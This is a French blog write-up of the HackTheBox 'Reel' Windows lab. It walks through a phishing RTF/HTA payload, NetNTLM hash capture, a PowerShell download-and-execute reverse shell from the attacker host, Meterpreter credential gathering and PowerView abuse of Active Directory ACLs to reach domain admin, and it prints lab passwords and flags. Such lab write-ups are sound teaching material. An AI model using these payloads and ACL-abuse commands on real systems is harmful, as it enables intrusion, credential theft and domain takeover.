Accueil Solution du CTF Reel de HackTheBox
Post
Annuler

Solution du CTF Reel de HackTheBox

Nitro

En m’inscrivant sur Hack The Box mon objectif était de me concentrer sur les machines Windows et ainsi sortir de la zone de confort (CTF sous Linux qui sont majoritaires sur VulnHub).

Grace aux précédents CTFs de la plateforme j’avais pu me pencher un peu plus sur Powershell ou les macros en VBA… mais il manquait ce petit côté environnement d’entreprise pour rentrer dans le vif du sujet du pentesting Windows.

Autant dire qu’avec Reel je me suis régalé :)

Reel 2 Real

Impossible de ne pas commencer sans le classique scan de ports :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
Nmap scan report for 10.10.10.77
Host is up (0.034s latency).

PORT   STATE SERVICE VERSION
21/tcp open  ftp     Microsoft ftpd
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_05-29-18  12:19AM       <DIR>          documents
| ftp-syst: 
|_  SYST: Windows_NT
22/tcp open  ssh     OpenSSH 7.6 (protocol 2.0)
| ssh-hostkey: 
|   2048 82:20:c3:bd:16:cb:a2:9c:88:87:1d:6c:15:59:ed:ed (RSA)
|   256 23:2b:b8:0a:8c:1c:f4:4d:8d:7e:5e:64:58:80:33:45 (ECDSA)
|_  256 ac:8b:de:25:1d:b7:d8:38:38:9b:9c:16:bf:f6:3f:ed (ED25519)
25/tcp open  smtp?
| fingerprint-strings: 
|   DNSStatusRequestTCP, DNSVersionBindReqTCP, Kerberos, LDAPBindReq, LDAPSearchReq, LPDString, NULL, RPCCheck, SMBProgNeg, SSLSessionReq, TLSSessionReq, X11Probe: 
|     220 Mail Service ready
|   FourOhFourRequest, GenericLines, GetRequest, HTTPOptions, RTSPRequest: 
|     220 Mail Service ready
|     sequence of commands
|     sequence of commands
|   Hello: 
|     220 Mail Service ready
|     EHLO Invalid domain address.
|   Help: 
|     220 Mail Service ready
|     DATA HELO EHLO MAIL NOOP QUIT RCPT RSET SAML TURN VRFY
|   SIPOptions: 
|     220 Mail Service ready
|     sequence of commands
|     sequence of commands
|     sequence of commands
|     sequence of commands
|     sequence of commands
|     sequence of commands
|     sequence of commands
|     sequence of commands
|     sequence of commands
|     sequence of commands
|_    sequence of commands
| smtp-commands: REEL, SIZE 20480000, AUTH LOGIN PLAIN, HELP, 
|_ 211 DATA HELO EHLO MAIL NOOP QUIT RCPT RSET SAML TURN VRFY

L’accès anonyme est autorisé sur le FTP :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
Connected to 10.10.10.77.
220 Microsoft FTP Service
Name (10.10.10.77:devloop): anonymous
331 Anonymous access allowed, send identity (e-mail name) as password.
Password:
230 User logged in.
Remote system type is Windows_NT.
ftp> ls
200 PORT command successful.
125 Data connection already open; Transfer starting.
05-29-18  12:19AM       <DIR>          documents
226 Transfer complete.
ftp> cd documents
250 CWD command successful.
ftp> ls -a
200 PORT command successful.
125 Data connection already open; Transfer starting.
05-29-18  12:19AM                 2047 AppLocker.docx
05-28-18  02:01PM                  124 readme.txt
10-31-17  10:13PM                14581 Windows Event Forwarding.docx
226 Transfer complete.

Dans le readme on peut lire le texte suivant :

please email me any rtf format procedures - I’ll review and convert.

new format / converted documents will be saved here.

Le document sur AppLocker est plutôt concis :

1
AppLocker procedure to be documented - hash rules for exe, msi and scripts (ps1,vbs,cmd,bat,js) are in effect.

Mais cela est suffisant pour nous renseigner sur la présence d’AppLocker sur la machine (il s’agit d’un système de whitelist des exécutables).

Pour terminer le dernier docx contient une liste de commandes et d’exemple d’output en rapport avec l’utilitaire wecutil. Ça permet d’associer le déclenchement d’actions prédéterminées pour certains événements du système.

Bien sûr j’ai tout de suite regardé les métadonnées des documents Word et ce dernier document fait référence à l’adresse email nico@megabank.com.

Cela plus la présence du port SMTP et l’incitation à envoyer un RTF étaient suffisant pour avoir notre piste :)

Move It!

Si on recherche RTF dans Metasploit on trouve entre autres le module windows/fileformat/office_word_hta. Ce dernier génère un RTF qui provoque le chargement d’un fichier HTA externe. Ce HTA contient des instructions VBA qui seront alors exécutées.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
msf exploit(windows/fileformat/office_word_hta) > show options

Module options (exploit/windows/fileformat/office_word_hta):

   Name      Current Setting         Required  Description
   ----      ---------------         --------  -----------
   FILENAME  /tmp/new procedure.rtf  yes       The file name.
   SRVHOST   10.10.14.2              yes       The local host to listen on. This must be an address on the local machine or 0.0.0.0
   SRVPORT   443                     yes       The local port to listen on.
   SSL       false                   no        Negotiate SSL for incoming connections
   SSLCert                           no        Path to a custom SSL certificate (default is randomly generated)
   URIPATH   procedure.hta           yes       The URI to use for the HTA file

Payload options (windows/powershell_reverse_tcp):

   Name          Current Setting  Required  Description
   ----          ---------------  --------  -----------
   EXITFUNC      process          yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST         10.10.14.2       yes       The listen address
   LOAD_MODULES                   no        A list of powershell modules seperated by a comma to download over the web
   LPORT         445              yes       The listen port

Exploit target:

   Id  Name
   --  ----
   0   Microsoft Office Word

msf exploit(windows/fileformat/office_word_hta) > exploit -j
[*] Exploit running as background job 3.

On utilise alors sendemail pour envoyer le fichier :

1
sudo sendemail -t nico@megabank.com -u "New procedure" -m "Hi Nicolas. Here is a new procedure" -a /tmp/new procedure.rtf -s 10.10.10.77 -f ariel@megabank.com -v

Et comme on pouvait s’y attendre ça merdouille avec la présence d’AppLocker :

1
2
3
4
5
6
msf exploit(windows/fileformat/office_word_hta) > 
[*] Started reverse SSL handler on 10.10.14.2:445 
[+] /tmp/new procedure.rtf stored at /root/.msf4/local/newprocedure.rtf
[*] Using URL: http://10.10.14.2:443/procedure.hta
[*] Server started.
[-] 10.10.10.77      office_word_hta - Exception handling request: Powershell command length is greater than the command line maximum (8192 characters)

Bien sûr, les opérations plus basiques fonctionnent… On peut par exemple exfiltrer le hash NetNTLM de l’utilisateur avec le VBA suivant (on garde le même RTF généré par MSF, il nous suffit d’éditer le HTA) :

1
2
3
4
5
6
7
<script language="VBScript">
  window.moveTo -4000, -4000
  Set wzPUNP = CreateObject("Wscript.Shell")
  filename = "\\10.10.14.2\toto\truc.vbs"
  wzPUNP.Run filename,0,True
  window.close()
</script>

On peut capturer ce hash avec le module de Metasploit :

1
2
3
4
5
6
7
8
9
10
11
msf auxiliary(server/capture/smb) > exploit -j
[*] Auxiliary module running as background job 18.

[*] Server started.
msf auxiliary(server/capture/smb) > [*] SMB Captured - 2018-07-07 15:37:43 +0200
NTLMv2 Response Captured from 10.10.10.77:58721 - 10.10.10.77
USER:nico DOMAIN:HTB OS: LM:
LMHASH:Disabled 
LM_CLIENT_CHALLENGE:Disabled
NTHASH:f4404e1f875ed4cc12e5308f8a0383db 
NT_CLIENT_CHALLENGE:01010000000000002e367305d312d40135120fd8899414f400000000020000000000000000000000

Ou encore à l’aide de Responder :

1
2
3
4
5
Responder
[+] Listening for events...
[SMBv2] NTLMv2-SSP Client   : 10.10.10.77
[SMBv2] NTLMv2-SSP Username : HTB\nico
[SMBv2] NTLMv2-SSP Hash     : nico::HTB:a8fcb58a95e93ee4:EC508DB8BA3DCA23F09E7E1FC5CAB0F9:0101000000000000C0653150DE09D201DFD2FBC44BDE3940000000000200080053004D004200330001001E00570049004E002D00500052004800340039003200520051004100460056000400140053004D00420033002E006C006F00630061006C0003003400570049004E002D00500052004800340039003200520051004100460056002E0053004D00420033002E006C006F00630061006C000500140053004D00420033002E006C006F00630061006C0007000800C0653150DE09D20106000400020000000800300030000000000000000100000000200000803EBD2E178E601C3B188621BBDBDAFB4AF51DA31565A1D3D4BD4420D4B777C40A0010000000000000000000000000000000000009001E0063006900660073002F00310030002E00310030002E00310034002E003200000000000000000000000000

Malheureusement on ne va pas bien loin avec ça… le mot de passe est suffisamment costaud :’(

En utilisant SMB on peut par exemple accéder au premier flag en le copiant simplement chez nous:

1
2
3
4
5
6
7
8
<script language="VBScript">
  window.moveTo -4000, -4000
  Set objFSO = CreateObject("Scripting.FileSystemObject")
  Set lolilol = CreateObject("Wscript.Shell")
  strHomeFolder = lolilol.ExpandEnvironmentStrings("%USERPROFILE%")
  usertxt = strHomeFolder & "\Desktop\user.txt"
  objFSO.CopyFile usertxt, "\\10.10.14.2\public\", True
</script>

Pour mettre en place un partage SMB sans trop de prise de tête, Impacket est fort utile :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
devloop@kali:/tmp$ sudo impacket-smbserver public jail/
Impacket v0.9.15 - Copyright 2002-2016 Core Security Technologies

[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Config file parsed
[*] Incoming connection (10.10.10.77,65441)
[*] AUTHENTICATE_MESSAGE (HTB\nico,REEL)
[*] User nico\REEL authenticated successfully
[*] nico::HTB:4141414141414141:10cc7a92c4dba43ebdc87a6c8b60998b:01010000000000008030ca54e312d401c71438f612cc71a600000000010010004700550071004e004500520057006a0002001000430072006700490044005a004e004800030010004700550071004e004500520057006a0004001000430072006700490044005a004e004800070008008030ca54e312d4010600040002000000080030003000000000000000010000000020000022716c0753bce62fc936e8ca13413cb0c1ab786291d77b014707b79d86f979620a0010000000000000000000000000000000000009001e0063006900660073002f00310030002e00310030002e00310034002e003200000000000000000000000000
[*] Disconnecting Share(1:PUBLIC)
[*] Handle: [Errno 104] Connection reset by peer
[*] Closing down connection (10.10.10.77,65441)
[*] Remaining connections []

Premier flag : fa363aebcfa2c29897a69af385fee971

Via cette astuce et en utilisant la redirection d’output, j’ai pu lister le dossier utilisateur, obtenir des infos sur le système (Microsoft Windows Server 2012 R2 Standard à jour) mais çà ne nous donne pas un shell.

AppUnLocker

On trouve sur le web différentes techniques pour contourner AppLocker. Elles sont rassemblées sur ce Github.

Pour plus de détails plusieurs de ces exemples sont décrits sur le blog pentestlab.

J’ai tenté sans succès la technique installutil.exe :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<script language="VBScript">
  window.moveTo -4000, -4000
  Set objFSO = CreateObject("Scripting.FileSystemObject")
  Set objSuperFolder = objFSO.GetFolder("C:\Windows\Microsoft.NET\Framework\")
  Call ShowSubfolders (objSuperFolder)

  WScript.Quit 0

  Sub ShowSubFolders(fFolder)
    Set objFolder = objFSO.GetFolder(fFolder.Path)
    Set colFiles = objFolder.Files
    For Each objFile in colFiles
      If UCase(objFile.name) = "INSTALLUTIL.EXE" Then
        Set lolilol = CreateObject("Wscript.Shell")
        utilPath = fFolder.Path & "\" & objFile.Name & " " & "/logfile= /LogToConsole=false /U \\10.10.14.2\public\exeshell.exe"
        lolilol.Run utilPath, 0, True
      End If
    Next

    For Each Subfolder in fFolder.SubFolders
      ShowSubFolders(Subfolder)
    Next
  End Sub
</script>

Il est plus simple d’obtenir un reverse shell basique en appelant un script Powershell sans l’extension ps1 :

1
2
3
4
5
6
7
8
<script language="VBScript">
  window.moveTo -4000, -4000
  Set objFSO = CreateObject("Scripting.FileSystemObject")
  Set lolilol = CreateObject("Wscript.Shell")
  strHomeFolder = lolilol.ExpandEnvironmentStrings("%USERPROFILE%")
  filename = strHomeFolder & "\NTUSER.DAT"
  lolilol.Run "powershell.exe  -nop -exec bypass -c IEX (New-Object Net.WebClient).DownloadString('http://10.10.15.187/minireverse')",0
</script>

J’ai finalement pu obtenir via session Meterpreter avec web_delivery puis trouver mon bonheur parmi les modules d’énumération locale:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
msf exploit(multi/script/web_delivery) > show options

Module options (exploit/multi/script/web_delivery):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SRVHOST  10.10.15.187     yes       The local host to listen on. This must be an address on the local machine or 0.0.0.0
   SRVPORT  8080             yes       The local port to listen on.
   SSL      false            no        Negotiate SSL for incoming connections
   SSLCert                   no        Path to a custom SSL certificate (default is randomly generated)
   URIPATH                   no        The URI to use for this exploit (default is random)

Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     10.10.15.187     yes       The listen address
   LPORT     4444             yes       The listen port

Exploit target:

   Id  Name
   --  ----
   2   PSH

msf exploit(multi/script/web_delivery) > exploit -j
[*] Exploit running as background job 2.

[*] Started reverse TCP handler on 10.10.15.187:4444 
msf exploit(multi/script/web_delivery) > [*] Using URL: http://10.10.15.187:8080/k9mHBlFwzU
[*] Server started.
[*] Run the following command on the target machine:
powershell.exe -nop -w hidden -c $O=new-object net.webclient;$O.proxy=[Net.WebRequest]::GetSystemWebProxy();$O.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $O.downloadstring('http://10.10.15.187:8080/k9mHBlFwzU');
[*] 10.10.10.77      web_delivery - Delivering Payload
[*] Sending stage (179779 bytes) to 10.10.10.77
[*] Meterpreter session 1 opened (10.10.15.187:4444 -> 10.10.10.77:60751) at 2018-07-08 15:29:59 +0200

msf exploit(multi/script/web_delivery) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > sysinfo
Computer        : REEL
OS              : Windows 2012 R2 (Build 9600).
Architecture    : x64
System Language : en_GB
Domain          : HTB
Logged On Users : 13
Meterpreter     : x86/windows

msf post(multi/recon/local_exploit_suggester) > exploit

[*] 10.10.10.77 - Collecting local exploits for x64/windows...
[*] 10.10.10.77 - 15 exploit checks are being tried...
[*] Post module execution completed

msf post(windows/gather/credentials/windows_autologin) > exploit

[*] Running against REEL on session 2
[+] AutoAdminLogon=1, DefaultDomain=HTB, DefaultUser=nico, DefaultPassword=4dri@na2017!**
[*] Post module execution completed

Are You Ready for Some More?

Ce mot de passe d’autologin est suffisant pour nous permettre de nous connecter via SSH. Oui se connecter avec SSH à Windows est une expérience assez perturbante :p

On trouve dans le dossier de notre utilisateur nico un fichier cred.xml que voici :

1
2
3
4
5
6
7
8
9
10
11
12
13
<Objs Version="1.1.0.1" xmlns="http://schemas.microsoft.com/powershell/2004/04">
  <Obj RefId="0">
    <TN RefId="0">
      <T>System.Management.Automation.PSCredential</T>
      <T>System.Object</T>
    </TN>
    <ToString>System.Management.Automation.PSCredential</ToString>
    <Props>
      <S N="UserName">HTB\Tom</S>
      <SS N="Password">01000000d08c9ddf0115d1118c7a00c04fc297eb01000000e4a07bc7aaeade47925c42c8be5870730000000002000000000003660000c000000010000000d792a6f34a55235c22da98b0c041ce7b0000000004800000a00000001000000065d20f0b4ba5367e53498f0209a3319420000000d4769a161c2794e19fcefff3e9c763bb3a8790deebf51fc51062843b5d52e40214000000ac62dab09371dc4dbfd763fea92b9d5444748692</SS>
    </Props>
  </Obj>
</Objs>

Il s’agit en quelque sorte d’un format de sérialisation pour un identifiant utilisable dans Powershell. Tenter de copier le fichier pour l’utiliser localement semble assez compliqué, d’abord parce qu’il est lié à d’autres clés RSA présentes sur la machine et visiblement un simple copier / coller ne suffit pas… J’ai pas cherché à aller plus loin.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
devloop@kali:~/Documents$ ssh nico@10.10.10.77
The authenticity of host '10.10.10.77 (10.10.10.77)' can't be established.
ECDSA key fingerprint is SHA256:jffiqnVqz/MrcDasdsjISFIcN/xtlDj1C76Yu1mDQVY.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '10.10.10.77' (ECDSA) to the list of known hosts.
nico@10.10.10.77's password: 

Microsoft Windows [Version 6.3.9600]                                                                                            
(c) 2013 Microsoft Corporation. All rights reserved.                                                                            

nico@REEL C:\Users\nico>powershell                                                                                              
Windows PowerShell                                                                                                              
Copyright (C) 2014 Microsoft Corporation. All rights reserved.                                                                  

PS C:\Users\nico> $mycreds = Import-Clixml "Desktop\cred.xml"                                                                   
PS C:\Users\nico> $mycreds                                                                                                      

UserName                                                                                                               Password 
--------                                                                                                               -------- 
HTB\Tom                                                                                            System.Security.SecureString 

PS C:\Users\nico> $mycreds.GetNetworkCredential().password                                                                      
1ts-mag1c!!!

On peut ainsi passer de Nico à Tom. Qu’est-ce qu’on y gagne ?

Nico avait les groupes suivants :

1
2
3
4
Local Group Memberships      *Performance Monitor U*Print Operators      
Global Group memberships     *AppLocker_Test       *Domain Users         
                             *MegaBank_Users       *DR_Site              
                             *HelpDesk_Admins      *Restrictions

Et pour ce qui est de Tom :

1
2
3
4
Local Group Memberships      *Print Operators      
Global Group memberships     *Domain Users         *SharePoint_Admins    
                             *MegaBank_Users       *DR_Site              
                             *HelpDesk_Admins      *Restrictions

On semble sortir de cette restriction AppLocker ce qui n’est pas un mal :)

Go On Move

Le plus intéressant une fois connecté avec Tom c’est la présence d’une note laissé dans un dossier AD Audit :

1
2
3
4
5
6
tom@REEL C:\Users\tom\Desktop\AD Audit> type note.txt                                                                            
Findings:                                                                                                                       

Surprisingly no AD attack paths from user to Domain Admin (using default shortest path query).                                  

Maybe we should re-run Cypher query against other groups we've created.

Et dans ce dossier se trouve une copie de BloodHound qui n’attend plus que nous.

BloodHound est un outil qui permet de faire des graphes de relation entre les différents objets d’un ActiveDirectory (utilisateurs, groupes, machines, etc) et ainsi mettre en évidence la présence de problèmes de permission permettant de remonter jusqu’à des privilèges d’administrateur du domaine. Une vidéo explicative peut se voir sur YouTube.

Bloodhound a donc une partie graphique. L’autre partie permet de générer les CSV à partir desquels les graphes seront générés :

1
2
3
4
5
6
7
8
9
10
11
tom@REEL C:\Users\tom\Desktop\AD Audit\BloodHound\Ingestors>powershell -nop -exec bypass                                        
Windows PowerShell                                                                                                              
Copyright (C) 2014 Microsoft Corporation. All rights reserved.                                                                  

PS C:\Users\tom\Desktop\AD Audit\BloodHound\Ingestors> Import-Module .\SharpHound.ps1                                           
PS C:\Users\tom\Desktop\AD Audit\BloodHound\Ingestors> Invoke-Bloodhound                                                        
Initializing BloodHound at 9:13 AM on 7/8/2018                                                                                  
Starting Default enumeration for HTB.LOCAL                                                                                      
Status: 29 objects enumerated (+29 Infinity/s --- Using 70 MB RAM )                                                             
Finished enumeration for HTB.LOCAL in 00:00:00.4181362                                                                          
0 hosts failed ping. 0 hosts timedout.

On peut appeler plus finement le module ou le lancer de façon plus exhaustive. Dans tous les cas cela génère des fichiers CSV dans le répertoire courant qu’on s’empresse de rapatrier pour charger dans BloodHound que l’on aura préalablement installé et configuré.

BloodHound a une fonctionnalité de recherche de chemin qui ici ne retourne rien pour passer de Tom au groupe Domain Admins. Mais si on s’intéresse aux droits que l’on a actuellement ça devient intéressant :

HackTheBox Reel Tom writeOwner Claire LDAP Bloodhound

On dispose ici du droit writeOwner qui permet de définir qui est le propriétaire de l’utilisateur Claire.

C’est aussi possible de retrouver cette relation directement avec PowerView :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
PS C:\Users\tom\Desktop\AD Audit\BloodHound> Get-DomainObjectACL -Identity Claire -ResolveGUIDS | ? {$_.SecurityIdentifier -match $(ConvertTo-SID tom)}                                                                                                         
AceType               : AccessAllowed                                                                                           
ObjectDN              : CN=Claire Danes,CN=Users,DC=HTB,DC=LOCAL                                                                
ActiveDirectoryRights : WriteOwner                                                                                              
OpaqueLength          : 0                                                                                                       
ObjectSID             : S-1-5-21-2648318136-3688571242-2924127574-1130                                                          
InheritanceFlags      : None                                                                                                    
BinaryLength          : 36                                                                                                      
IsInherited           : False                                                                                                   
IsCallback            : False                                                                                                   
PropagationFlags      : None                                                                                                    
SecurityIdentifier    : S-1-5-21-2648318136-3688571242-2924127574-1107                                                          
AccessMask            : 524288                                                                                                  
AuditFlags            : None                                                                                                    
AceFlags              : None                                                                                                    
AceQualifier          : AccessAllowed

Pour exploiter cela on a recours à la commande Set-DomainObjectOwner de PowerView. C’est documenté sur le blog de wald0 (l’un des auteurs).

PowerSploit dispose de la documentation de référence pour la commande.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
PS C:\Users\tom\Desktop\AD Audit\BloodHound> Import-Module .\PowerView.ps1 
PS C:\Users\tom\Desktop\AD Audit\BloodHound> Set-DomainObjectOwner -Identity claire -OwnerIdentity tom                          
PS C:\Users\tom\Desktop\AD Audit\BloodHound> Add-DomainObjectAcl -TargetIdentity claire -PrincipalIdentity tom -Rights All
PS C:\Users\tom\Desktop\AD Audit\BloodHound> net user claire !l33tpassw0rd /domain                                              
The command completed successfully.

User name                    claire                                                                                             
Full Name                    Claire Danes                                                                                       
Comment                                                                                                                         
User's comment                                                                                                                  
Country/region code          000 (System Default)                                                                               
Account active               Yes                                                                                                
Account expires              Never                                                                                              

Password last set            7/5/2018 1:49:07 PM                                                                                
Password expires             Never
Password changeable          7/6/2018 1:49:07 PM
Password required            Yes
User may change password     Yes

Workstations allowed         All
Logon script
User profile
Home directory
Last logon                   7/5/2018 1:49:40 PM

Logon hours allowed          All

Local Group Memberships      *Hyper-V Administrator
Global Group memberships     *Domain Users         *MegaBank_Users
                             *DR_Site              *Restrictions

On s’accorde ici tous les droits sur Claire. A noter que récupérer uniquement la permission ResetPassword ne semble pas suffire pour changer le mot de passe.

Raise Your Hands

En récupérant l’accès à Claire je m’attendais à ce que l’on puisse ensuite sauter vers le compte claire_da qui est domain admin… Mais en fait non

Claire dispose de la permission writeDACL sur le groupe backup admins :

HackTheBox Reel BloodHound Claire writeDACL on Backup Admins group LDAP

et ce groupe dispose pour ainsi dire de rien du tout (il n’y a que des relations entrantes).

HackTheBox Reel BloodHound backup admins relation graph LDAP

Si on se rencarde un peu sur ce type de groupe on voit que les membres ont généralement un accès non-limité au système de fichier :

A built-in group. By default, the group has no members. Backup Operators can back up and restore all files on a computer, regardless of the permissions that protect those files. Backup Operators also can log on to the computer and shut it down.

On peut alors s’octroyer les privilèges d’ajout de membre et nous ajouter au groupe :

1
2
3
PS C:\temp> Add-DomainObjectAcl -TargetIdentity Backup_Admins -PrincipalIdentity claire -Rights WriteMembers
PS C:\temp> net group Backup_Admins claire /add
The command completed successfully.

Mais déception : bien que l’on dispose des droits sur le dossier personnel de l’administrateur :

1
2
3
4
5
claire@REEL C:\Users>icacls Administrator
Administrator NT AUTHORITY\SYSTEM:(OI)(CI)(F)
              HTB\Backup_Admins:(OI)(CI)(F)
              HTB\Administrator:(OI)(CI)(F)
              BUILTIN\Administrators:(OI)(CI)(F)

L’accès au root.txt (le flag final) nous est refusé :(

Plusieurs scripts Powershell sont présents dans un sous-dossier Backup Scripts ainsi qu’une archive BackupScript.zip.

J’ai eu la bonne idée de faire un diff sur les fichiers ps1 présents et ceux du zip :

1
2
3
4
5
devloop@kali:~/Documents/reel/Backup Scripts$ diff BackupScript.ps1 yolo/BackupScript.ps1
1,2c1,41
< # admin password
< $password="Cr4ckMeIfYouC4n!"
--- snip ---

Et enfin on peut passer administrateur et accéder au flag :

1
2
administrator@REEL C:\Users\Administrator\Desktop>type root.txt
1018a0331e686176ff4577c728eaf32a

Conclusion

Un CTF super prenant qui m’a fait découvrir beaucoup de choses. Au top !

Published November 10 2018 at 17:03

Cet article est sous licence CC BY 4.0 par l'auteur.